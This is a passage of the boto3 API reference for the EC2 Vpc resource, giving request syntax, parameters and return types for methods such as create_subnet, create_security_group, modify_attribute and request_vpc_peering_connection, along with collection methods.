'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **TagSpecifications** (_list_) -- + + The tags to assign to the route table. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id1148)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id1150)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +ec2.RouteTable + +Returns + +RouteTable resource + +create_security_group(kwargs_) + +Creates a security group. + +A security group acts as a virtual firewall for your instance to control inbound and outbound traffic. For more information, see [Amazon EC2 Security Groups](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-network-security.html) in the _Amazon Elastic Compute Cloud User Guide_ and [Security Groups for Your VPC](https://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/VPC_SecurityGroups.html) in the _Amazon Virtual Private Cloud User Guide_ . + +When you create a security group, you specify a friendly name of your choice. You can have a security group for use in EC2-Classic with the same name as a security group for use in a VPC. However, you can't have two security groups for use in EC2-Classic with the same name or two security groups for use in a VPC with the same name. + +You have a default security group for use in EC2-Classic and a default security group for use in your VPC. If you don't specify a security group when you launch an instance, the instance is launched into the appropriate default security group. A default security group includes a default rule that grants instances unrestricted network access to each other. + +You can add or remove rules from your security groups using AuthorizeSecurityGroupIngress , AuthorizeSecurityGroupEgress , RevokeSecurityGroupIngress , and RevokeSecurityGroupEgress . + +For more information about VPC security group limits, see [Amazon VPC Limits](https://docs.aws.amazon.com/vpc/latest/userguide/amazon-vpc-limits.html) . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateSecurityGroup) + +**Request Syntax** + +security_group = vpc.create_security_group( + Description='string', + GroupName='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + DryRun=True|False +) + +Parameters + +* **Description** (_string_) -- + + **[REQUIRED]** + + A description for the security group. This is informational only. + + Constraints: Up to 255 characters in length + + Constraints for EC2-Classic: ASCII characters + + Constraints for EC2-VPC: a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + +* **GroupName** (_string_) -- + + **[REQUIRED]** + + The name of the security group. + + Constraints: Up to 255 characters in length. Cannot start with sg- . + + Constraints for EC2-Classic: ASCII characters + + Constraints for EC2-VPC: a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + +* **TagSpecifications** (_list_) -- + + The tags to assign to the security group. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id1153)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id1155)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +ec2.SecurityGroup + +Returns + +SecurityGroup resource + +create_subnet(kwargs_) + +Creates a subnet in a specified VPC. + +You must specify an IPv4 CIDR block for the subnet. After you create a subnet, you can't change its CIDR block. The allowed block size is between a /16 netmask (65,536 IP addresses) and /28 netmask (16 IP addresses). The CIDR block must not overlap with the CIDR block of an existing subnet in the VPC. + +If you've associated an IPv6 CIDR block with your VPC, you can create a subnet with an IPv6 CIDR block that uses a /64 prefix length. + +Warning + +AWS reserves both the first four and the last IPv4 address in each subnet's CIDR block. They're not available for use. + +If you add more than one subnet to a VPC, they're set up in a star topology with a logical router in the middle. + +When you stop an instance in a subnet, it retains its private IPv4 address. It's therefore possible to have a subnet with no running instances (they're all stopped), but no remaining IP addresses available. + +For more information about subnets, see [Your VPC and Subnets](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Subnets.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateSubnet) + +**Request Syntax** + +subnet = vpc.create_subnet( + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + AvailabilityZone='string', + AvailabilityZoneId='string', + CidrBlock='string', + Ipv6CidrBlock='string', + OutpostArn='string', + DryRun=True|False +) + +Parameters + +* **TagSpecifications** (_list_) -- + + The tags to assign to the subnet. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id1158)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id1160)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **AvailabilityZone** (_string_) -- + + The Availability Zone or Local Zone for the subnet. + + Default: AWS selects one for you. If you create more than one subnet in your VPC, we do not necessarily select a different zone for each subnet. + + To create a subnet in a Local Zone, set this value to the Local Zone ID, for example us-west-2-lax-1a . For information about the Regions that support Local Zones, see [Available Regions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-regions-availability-zones.html#concepts-available-regions) in the _Amazon Elastic Compute Cloud User Guide_ . + + To create a subnet in an Outpost, set this value to the Availability Zone for the Outpost and specify the Outpost ARN. + +* **AvailabilityZoneId** (_string_) -- The AZ ID or the Local Zone ID of the subnet. +* **CidrBlock** (_string_) -- + + **[REQUIRED]** + + The IPv4 network range for the subnet, in CIDR notation. For example, 10.0.0.0/24 . We modify the specified CIDR block to its canonical form; for example, if you specify 100.68.0.18/18 , we modify it to 100.68.0.0/18 . + +* **Ipv6CidrBlock** (_string_) -- The IPv6 network range for the subnet, in CIDR notation. The subnet size must use a /64 prefix length. +* **OutpostArn** (_string_) -- The Amazon Resource Name (ARN) of the Outpost. If you specify an Outpost ARN, you must also specify the Availability Zone of the Outpost subnet. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +ec2.Subnet + +Returns + +Subnet resource + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +tag = vpc.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +list(ec2.Tag) + +Returns + +A list of Tag resources + +delete(kwargs_) + +Deletes the specified VPC. You must detach or delete all gateways and resources that are associated with the VPC before you can delete it. For example, you must terminate all instances running in the VPC, delete all security groups associated with the VPC (except the default one), delete all route tables associated with the VPC (except the default one), and so on. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteVpc) + +**Request Syntax** + +response = vpc.delete( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +describe_attribute(kwargs_) + +Describes the specified attribute of the specified VPC. You can specify only one attribute at a time. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcAttribute) + +**Request Syntax** + +response = vpc.describe_attribute( + Attribute='enableDnsSupport'|'enableDnsHostnames', + DryRun=True|False +) + +Parameters + +* **Attribute** (_string_) -- + + **[REQUIRED]** + + The VPC attribute. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'VpcId': 'string', + 'EnableDnsHostnames': { + 'Value': True|False + }, + 'EnableDnsSupport': { + 'Value': True|False + } +} + +**Response Structure** + +* _(dict) --_ + + * **VpcId** _(string) --_ + + The ID of the VPC. + + * **EnableDnsHostnames** _(dict) --_ + + Indicates whether the instances launched in the VPC get DNS hostnames. If this attribute is true , instances in the VPC get DNS hostnames; otherwise, they do not. + + * **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + + * **EnableDnsSupport** _(dict) --_ + + Indicates whether DNS resolution is enabled for the VPC. If this attribute is true , the Amazon DNS server resolves DNS hostnames for your instances to their corresponding IP addresses; otherwise, it does not. + + * **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + + +detach_classic_link_instance(kwargs_) + +Unlinks (detaches) a linked EC2-Classic instance from a VPC. After the instance has been unlinked, the VPC security groups are no longer associated with it. An instance is automatically unlinked from a VPC when it's stopped. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DetachClassicLinkVpc) + +**Request Syntax** + +response = vpc.detach_classic_link_instance( + DryRun=True|False, + InstanceId='string', + +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **InstanceId** (_string_) -- + + **[REQUIRED]** + + The ID of the instance to unlink from the VPC. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +* _(dict) --_ + + * **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, it returns an error. + + +detach_internet_gateway(kwargs_) + +Detaches an internet gateway from a VPC, disabling connectivity between the internet and the VPC. The VPC must not contain any running instances with Elastic IP addresses or public IPv4 addresses. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DetachInternetGateway) + +**Request Syntax** + +response = vpc.detach_internet_gateway( + DryRun=True|False, + InternetGatewayId='string', + +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **InternetGatewayId** (_string_) -- + + **[REQUIRED]** + + The ID of the internet gateway. + + +Returns + +None + +disable_classic_link(kwargs_) + +Disables ClassicLink for a VPC. You cannot disable ClassicLink for a VPC that has EC2-Classic instances linked to it. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DisableVpcClassicLink) + +**Request Syntax** + +response = vpc.disable_classic_link( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +* _(dict) --_ + * **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, it returns an error. + + +enable_classic_link(kwargs_) + +Enables a VPC for ClassicLink. You can then link EC2-Classic instances to your ClassicLink-enabled VPC to allow communication over private IP addresses. You cannot enable your VPC for ClassicLink if any of your VPC route tables have existing routes for address ranges within the 10.0.0.0/8 IP address range, excluding local routes for VPCs in the 10.0.0.0/16 and 10.1.0.0/16 IP address ranges. For more information, see [ClassicLink](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/vpc-classiclink.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/EnableVpcClassicLink) + +**Request Syntax** + +response = vpc.enable_classic_link( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +* _(dict) --_ + * **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, it returns an error. + + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_vpcs()](#EC2.Client.describe_vpcs "EC2.Client.describe_vpcs") to update the attributes of the Vpc resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +vpc.load() + +Returns + +None + +modify_attribute(kwargs_) + +Modifies the specified attribute of the specified VPC. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyVpcAttribute) + +**Request Syntax** + +response = vpc.modify_attribute( + EnableDnsHostnames={ + 'Value': True|False + }, + EnableDnsSupport={ + 'Value': True|False + }, + +) + +Parameters + +* **EnableDnsHostnames** (_dict_) -- + + Indicates whether the instances launched in the VPC get DNS hostnames. If enabled, instances in the VPC get DNS hostnames; otherwise, they do not. + + You cannot modify the DNS resolution and DNS hostnames attributes in the same request. Use separate requests for each attribute. You can only enable DNS hostnames if you've enabled DNS support. + + * **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + +* **EnableDnsSupport** (_dict_) -- + + Indicates whether the DNS resolution is supported for the VPC. If enabled, queries to the Amazon provided DNS server at the 169.254.169.253 IP address, or the reserved IP address at the base of the VPC network range "plus two" succeed. If disabled, the Amazon provided DNS service in the VPC that resolves public DNS hostnames to IP addresses is not enabled. + + You cannot modify the DNS resolution and DNS hostnames attributes in the same request. Use separate requests for each attribute. + + * **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + + +Returns + +None + +reload() + +Calls [EC2.Client.describe_vpcs()](#EC2.Client.describe_vpcs "EC2.Client.describe_vpcs") to update the attributes of the Vpc resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +vpc.reload() + +Returns + +None + +request_vpc_peering_connection(kwargs_) + +Requests a VPC peering connection between two VPCs: a requester VPC that you own and an accepter VPC with which to create the connection. The accepter VPC can belong to another AWS account and can be in a different Region to the requester VPC. The requester VPC and accepter VPC cannot have overlapping CIDR blocks. + +Note + +Limitations and rules apply to a VPC peering connection. For more information, see the [limitations](https://docs.aws.amazon.com/vpc/latest/peering/vpc-peering-basics.html#vpc-peering-limitations) section in the _VPC Peering Guide_ . + +The owner of the accepter VPC must accept the peering request to activate the peering connection. The VPC peering connection request expires after 7 days, after which it cannot be accepted or rejected. + +If you create a VPC peering connection request between VPCs with overlapping CIDR blocks, the VPC peering connection has a status of failed . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateVpcPeeringConnection) + +**Request Syntax** + +vpc_peering_connection = vpc.request_vpc_peering_connection( + DryRun=True|False, + PeerOwnerId='string', + PeerVpcId='string', + PeerRegion='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **PeerOwnerId** (_string_) -- + + The AWS account ID of the owner of the accepter VPC. + + Default: Your AWS account ID + +* **PeerVpcId** (_string_) -- The ID of the VPC with which you are creating the VPC peering connection. You must specify this parameter in the request. +* **PeerRegion** (_string_) -- + + The Region code for the accepter VPC, if the accepter VPC is located in a Region other than the Region in which you make the request. + + Default: The Region in which you make the request. + +* **TagSpecifications** (_list_) -- + + The tags to assign to the peering connection. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id1173)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id1175)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +ec2.VpcPeeringConnection + +Returns + +VpcPeeringConnection resource + +Collections + +Collections provide an interface to iterate over and manipulate groups of resources. For more information about collections refer to the [_Resources Introduction Guide_](../../guide/collections.html#guide-collections). + +accepted_vpc_peering_connections + +A collection of VpcPeeringConnection resources.A VpcPeeringConnection Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all VpcPeeringConnection resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcPeeringConnections) + +**Request Syntax** + +vpc_peering_connection_iterator = vpc.accepted_vpc_peering_connections.all() + +Return type + +list(ec2.VpcPeeringConnection) + +Returns + +A list of VpcPeeringConnection resources + +filter(kwargs_) + +Creates an iterable of all VpcPeeringConnection resources in the collection filtered by kwargs passed to method.A VpcPeeringConnection collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcPeeringConnections) + +**Request Syntax** + +vpc_peering_connection_iterator = vpc.accepted_vpc_peering_connections.filter( + DryRun=True|False, + VpcPeeringConnectionIds=[ + 'string', + ], + NextToken='string', + MaxResults=123 +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **VpcPeeringConnectionIds** (_list_) -- + + One or more VPC peering connection IDs. + + Default: Describes all your VPC peering connections. + + * _(string) --_ +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Return type + +list(ec2.VpcPeeringConnection) + +Returns + +A list of VpcPeeringConnection resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of VpcPeeringConnection resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcPeeringConnections) + +**Request Syntax** + +vpc_peering_connection_iterator = vpc.accepted_vpc_peering_connections.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.VpcPeeringConnection) + +Returns + +A list of VpcPeeringConnection resources + +page_size(kwargs_) + +Creates an iterable of all VpcPeeringConnection resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcPeeringConnections) + +**Request Syntax** + +vpc_peering_connection_iterator = vpc.accepted_vpc_peering_connections.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.VpcPeeringConnection) + +Returns + +A list of VpcPeeringConnection resources + +instances + +A collection of Instance resources.A Instance Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all Instance resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = vpc.instances.all() + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +response = vpc.instances.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* 